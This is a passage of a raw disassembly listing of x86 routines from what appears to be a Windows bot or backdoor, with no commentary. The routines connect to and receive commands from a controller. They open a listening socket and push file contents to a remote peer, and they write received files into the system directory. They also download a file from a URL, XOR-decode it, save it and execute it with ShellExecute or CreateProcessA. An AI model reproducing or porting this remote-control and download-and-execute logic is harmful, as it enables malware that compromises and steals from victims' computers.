loc_40C32E: ; CODE XREF: sub_40C2CD+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call ds:dword_43C5C0 ; connect
cmp eax, esi
jnz short loc_40C34D
push edi
call ds:dword_43C6B0 ; closesocket
loc_40C349: ; CODE XREF: sub_40C2CD+1Bj
; sub_40C2CD+58j
mov eax, esi
jmp short loc_40C34F
; ---------------------------------------------------------------------------
loc_40C34D: ; CODE XREF: sub_40C2CD+73j
mov eax, edi
loc_40C34F: ; CODE XREF: sub_40C2CD+7Ej
pop edi
pop esi
leave
retn
sub_40C2CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C353 proc near ; DATA XREF: sub_40EE51+A79o
Dst = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40C2CD
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40C3E6
lea eax, [ebp+Dst]
push offset dword_42D0D4 ; Format
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C3C9
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_40D670
add esp, 14h
loc_40C3C9: ; CODE XREF: sub_40C353+59j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
push [ebp+var_10]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
loc_40C3E6: ; CODE XREF: sub_40C353+3Fj
push offset byte_4397BC
push ebx
call sub_40B567
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40C451
lea eax, [ebp+Dst]
push offset dword_42D094 ; Format
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C42D
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_40D670
add esp, 14h
loc_40C42D: ; CODE XREF: sub_40C353+BDj
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
pop ecx
push ebx
call ds:dword_43C6B0 ; closesocket
push [ebp+var_10]
call sub_417064
pop ecx
push esi
call ds:dword_423050
loc_40C451: ; CODE XREF: sub_40C353+A3j
push 64h
call ds:dword_423060 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40C460: ; CODE XREF: sub_40C353+168j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push edi
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
test eax, eax
jle short loc_40C4BD
lea eax, [ebp+Dst]
push offset asc_429660 ; "\n"
push eax ; Dest
call _strcat
lea eax, [ebp+Dst]
push eax ; Str
call sub_40B353
add esp, 0Ch
test eax, eax
jz short loc_40C4BD
push 64h
call ds:dword_423060 ; Sleep
push 7
call sub_416F90
test eax, eax
pop ecx
jnz short loc_40C460
loc_40C4BD: ; CODE XREF: sub_40C353+130j
; sub_40C353+154j
lea eax, [ebp+Dst]
push offset dword_42D050 ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40C4F0
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_40D670
add esp, 14h
loc_40C4F0: ; CODE XREF: sub_40C353+180j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
pop ecx
push ebx
call ds:dword_43C6B0 ; closesocket
push [ebp+var_10]
call sub_417064
pop ecx
push edi
call ds:dword_423050
sub_40C353 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C514 proc near ; DATA XREF: sub_40EE51+4A6Eo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
Dest = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
Str = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call ds:dword_43C698 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40C562
push offset dword_42D258
jmp loc_40C71B
; ---------------------------------------------------------------------------
loc_40C562: ; CODE XREF: sub_40C514+42j
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call ds:dword_43C618 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call ds:dword_43C644 ; bind
test eax, eax
jz short loc_40C5A0
push offset dword_42D224
jmp loc_40C71B
; ---------------------------------------------------------------------------
loc_40C5A0: ; CODE XREF: sub_40C514+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+Dst]
push eax
push edi
call ds:dword_43C5BC ; getsockname
push [ebp+var_2E]
call ds:dword_43C554 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+Str]
push eax ; Str
mov [ebp+arg_0], esi
call _strlen
pop ecx
loc_40C5D2: ; CODE XREF: sub_40C514+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+Str]
cmp al, 20h
jnz short loc_40C5E5
push 5Fh
pop eax
jmp short loc_40C5E8
; ---------------------------------------------------------------------------
loc_40C5E5: ; CODE XREF: sub_40C514+CAj
movsx eax, al
loc_40C5E8: ; CODE XREF: sub_40C514+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+Str]
inc ecx
push eax ; Str
mov [ebp+arg_0], ecx
call _strlen
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40C5D2
push ebx
push edi
call ds:dword_43C640 ; listen
test eax, eax
jz short loc_40C61B
push offset dword_42D0D4
jmp loc_40C71B
; ---------------------------------------------------------------------------
loc_40C61B: ; CODE XREF: sub_40C514+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+Str]
push 80000000h
push eax
call ds:dword_423080
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40C645
push offset dword_42D1F4
jmp loc_40C71B
; ---------------------------------------------------------------------------
loc_40C645: ; CODE XREF: sub_40C514+125j
push esi
push eax
call ds:dword_4230A0
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AEDB
pop ecx
push eax
call ds:dword_43C658 ; inet_addr
push eax
call ds:dword_43C614 ; htonl
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset dword_42D1DC ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_40D670
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call ds:dword_43C600 ; select
test eax, eax
jg short loc_40C6F5
push esi ; int
lea eax, [ebp+var_DC]
push [ebp+var_54] ; int
push offset dword_42D1B4 ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_40D670
jmp loc_40C819
; ---------------------------------------------------------------------------
loc_40C6F5: ; CODE XREF: sub_40C514+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call ds:dword_43C6AC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40C72E
push offset dword_42D180 ; Format
loc_40C71B: ; CODE XREF: sub_40C514+49j
; sub_40C514+87j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40C81C
; ---------------------------------------------------------------------------
loc_40C72E: ; CODE XREF: sub_40C514+200j
push edi
call ds:dword_43C6B0 ; closesocket
cmp [ebp+arg_0], esi
jz loc_40C7E0
mov edi, 400h
loc_40C743: ; CODE XREF: sub_40C514+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40C750
mov [ebp+var_4], eax
loc_40C750: ; CODE XREF: sub_40C514+237j
push edi ; Size
lea eax, [ebp+var_A04]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_4230BC
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_423070
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call ds:dword_43C668 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call ds:dword_43C630 ; recv
cmp eax, ebx
jl loc_40C875
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40C875
sub [ebp+arg_0], eax
jnz loc_40C743
mov edi, [ebp+var_18]
loc_40C7E0: ; CODE XREF: sub_40C514+224j
push [ebp+var_8]
call ds:dword_423074
push [ebp+var_C]
push [ebp+var_10]
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_44]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset dword_42D130 ; Format
push eax ; Dest
call _sprintf
loc_40C819: ; CODE XREF: sub_40C514+1DCj
add esp, 14h
loc_40C81C: ; CODE XREF: sub_40C514+215j
cmp [ebp+var_50], esi
jnz short loc_40C841
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_54] ; int
push eax ; int
lea eax, [ebp+var_DC]
push eax ; Str
push [ebp+var_1FC] ; int
call sub_40D670
add esp, 14h
loc_40C841: ; CODE XREF: sub_40C514+30Bj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
cmp edi, esi
pop ecx
jbe short loc_40C859
push edi
call ds:dword_43C6B0 ; closesocket
loc_40C859: ; CODE XREF: sub_40C514+33Cj
push [ebp+var_1F8]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_58]
call sub_417064
pop ecx
push esi
call ds:dword_423050
loc_40C875: ; CODE XREF: sub_40C514+2AFj
; sub_40C514+2BAj
push esi ; int
mov esi, offset dword_42D108
push [ebp+var_54] ; int
lea eax, [ebp+var_DC]
push esi ; int
push eax ; Str
push [ebp+var_1FC] ; int
call sub_40D670
push esi
call sub_40BF6F
add esp, 18h
push [ebp+var_1F8]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_58]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
sub_40C514 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8B6 proc near ; DATA XREF: sub_40EE51+7B7o
Dst = byte ptr -14C4h
var_4C4 = dword ptr -4C4h
Filename = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_423064 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Filename]
push offset aSS_2 ; "%s%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Filename]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_423080
cmp eax, 0FFFFFFFFh
jnz short loc_40C940
push offset dword_42D350
jmp short loc_40C986
; ---------------------------------------------------------------------------
loc_40C940: ; CODE XREF: sub_40C8B6+81j
push eax
call ds:dword_423074
lea eax, [ebp+Filename]
push offset aAB ; "a+b"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_40C968
push offset dword_42D310
jmp short loc_40C986
; ---------------------------------------------------------------------------
loc_40C968: ; CODE XREF: sub_40C8B6+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40C2CD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40C999
push offset dword_42D2E0 ; Format
loc_40C986: ; CODE XREF: sub_40C8B6+88j
; sub_40C8B6+B0j
lea eax, [ebp+var_4C4]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40CA93
; ---------------------------------------------------------------------------
loc_40C999: ; CODE XREF: sub_40C8B6+C9j
mov esi, 1000h
loc_40C99E: ; CODE XREF: sub_40C8B6+14Ej
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_43C630 ; recv
mov edi, eax
cmp edi, ebx
jz loc_40CA65
cmp edi, 0FFFFFFFFh
jz short loc_40CA06
push [ebp+File] ; File
lea eax, [ebp+Dst]
push edi ; Count
push 1 ; Size
push eax ; Str
call _fwrite
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call ds:dword_43C614 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
jmp short loc_40C99E
; ---------------------------------------------------------------------------
loc_40CA06: ; CODE XREF: sub_40C8B6+118j
lea eax, [ebp+var_4C4]
push offset dword_42D108 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_40D670
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6F
push [ebp+File] ; File
call _fclose
add esp, 24h
push [ebp+arg_0]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_1C]
call sub_417064
pop ecx
push 1
call ds:dword_423050
loc_40CA65: ; CODE XREF: sub_40C8B6+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42D28C ; Format
push eax ; Dest
call _sprintf
add esp, 1Ch
loc_40CA93: ; CODE XREF: sub_40C8B6+DEj
cmp [ebp+var_14], ebx
jnz short loc_40CAB8
push ebx ; int
lea eax, [ebp+var_4C4]
push [ebp+var_18] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1C0] ; int
call sub_40D670
add esp, 14h
loc_40CAB8: ; CODE XREF: sub_40C8B6+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6F
cmp [ebp+File], ebx
pop ecx
jz short loc_40CAD3
push [ebp+File] ; File
call _fclose
pop ecx
loc_40CAD3: ; CODE XREF: sub_40C8B6+212j
cmp [ebp+arg_0], ebx
jbe short loc_40CAE1
push [ebp+arg_0]
call ds:dword_43C6B0 ; closesocket
loc_40CAE1: ; CODE XREF: sub_40C8B6+220j
push [ebp+var_1C]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
sub_40C8B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CAF1 proc near ; DATA XREF: sub_40EE51+382Fo
; sub_40EE51+3F6Eo
var_590 = qword ptr -590h
var_584 = qword ptr -584h
Dst = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
Str = byte ptr -2C8h
var_248 = byte ptr -248h
Filename = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
Memory = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push ds:dword_43C5C8
call ds:dword_43C528 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40CF7D
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+Filename]
push 40000000h
push eax
call ds:dword_423080
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40CBB8
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset unk_42D5E4 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CB9B
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
add esp, 14h
loc_40CB9B: ; CODE XREF: sub_40CAF1+88j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
push [ebp+var_48]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
loc_40CBB8: ; CODE XREF: sub_40CAF1+68j
xor edi, edi
call ds:dword_423054 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx ; Size
call _malloc
pop ecx
mov [ebp+Memory], eax
loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j
push 200h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+Dst]
push 200h
push eax
push [ebp+var_18]
call ds:dword_43C530 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_40CC16
push [ebp+arg_0]
lea eax, [ebp+Dst]
push eax
call sub_40CFE3
pop ecx
pop ecx
loc_40CC16: ; CODE XREF: sub_40CAF1+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+Dst]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_423078
cmp edi, ebx
jnb short loc_40CC54
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40CC3E
mov eax, [ebp+arg_0]
loc_40CC3E: ; CODE XREF: sub_40CAF1+148j
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
mov eax, [ebp+Memory]
add eax, edi
push eax ; Dst
call _memcpy
add esp, 0Ch
loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40CC61
cmp edi, [ebp+var_3C]
ja short loc_40CCAB
loc_40CC61: ; CODE XREF: sub_40CAF1+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40CC7B
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42D59C
jmp short loc_40CC8B
; ---------------------------------------------------------------------------
loc_40CC7B: ; CODE XREF: sub_40CAF1+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42D55C ; Format
loc_40CC8B: ; CODE XREF: sub_40CAF1+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_441E70
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40CBD2
loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40CD00
cmp edi, [ebp+var_3C]
jz short loc_40CD00
push [ebp+var_3C]
lea eax, [ebp+Dst]
mov [ebp+var_14], esi
push edi
push offset unk_42D518 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add esp, 28h
loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j
; sub_40CAF1+1C9j
call ds:dword_423054 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_423074
push [ebp+Memory] ; Memory
call _free
cmp [ebp+var_38], esi
pop ecx
jz short loc_40CD8A
lea eax, [ebp+Filename]
push eax ; Filename
call sub_40C25B
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40CD8A
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+Dst]
push offset unk_42D4E0 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add esp, 28h
loc_40CD8A: ; CODE XREF: sub_40CAF1+241j
; sub_40CAF1+253j
cmp [ebp+var_14], esi
jz loc_40CFCA
cmp [ebp+var_44], 1
jz loc_40CE85
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_423690
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_423690
fstp [esp+590h+var_590]
push offset unk_42D498 ; Format
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CE05
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
add esp, 14h
loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
cmp [ebp+var_40], 1
pop ecx
jnz loc_40CFCA
push 5
push esi
lea eax, [ebp+Filename]
push esi
push eax
push offset aOpen ; "open"
push esi
call ds:dword_43C58C
cmp [ebp+var_30], esi
jnz loc_40CFCA
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dst]
push offset dword_42D464 ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add esp, 24h
jmp loc_40CFCA
; ---------------------------------------------------------------------------
loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_423690
lea eax, [ebp+Filename]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+Dst]
fmul ds:dbl_423690
fstp [esp+590h+var_590]
push offset unk_42D414 ; Format
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40CEED
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
add esp, 14h
loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
push 10h ; Size
lea eax, [ebp+var_10]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_310]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_4397BC
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+Filename]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_423120 ; CreateProcessA
cmp eax, edi
jnz short loc_40CF6F
call ds:dword_43C578 ; WSACleanup
call sub_40AC3D
push esi
call ds:dword_42314C
loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj
lea eax, [ebp+Filename]
push eax
push offset unk_42D3CC
jmp short loc_40CF89
; ---------------------------------------------------------------------------
loc_40CF7D: ; CODE XREF: sub_40CAF1+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42D390 ; Format
loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40CFBD
push esi ; int
lea eax, [ebp+Dst]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_2CC] ; int
call sub_40D670
add esp, 14h
loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
pop ecx
loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj
; sub_40CAF1+325j ...
push [ebp+var_18]
call ds:dword_43C64C ; InternetCloseHandle
push [ebp+var_48]
call sub_417064
pop ecx
push esi
call ds:dword_423050
sub_40CAF1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40CFFF
loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj
mov dl, ds:byte_42E5C0
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40CFEF
locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj
retn
sub_40CFE3 endp
; =============== S U B R O U T I N E =======================================
sub_40D000 proc near ; CODE XREF: sub_40EE51+2AA8p
; sub_40EE51+2BCBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4195E9
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40D000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D01A proc near ; CODE XREF: sub_40637D+45Dp
; sub_40637D+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h ; Size
mov edi, offset dword_4409E8
push 0 ; Val
push edi ; Dst
call _memset
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40D03F: ; CODE XREF: sub_40D01A+5Bj
; sub_40D01A+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call __aullrem
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call __aulldiv
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40D07D
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
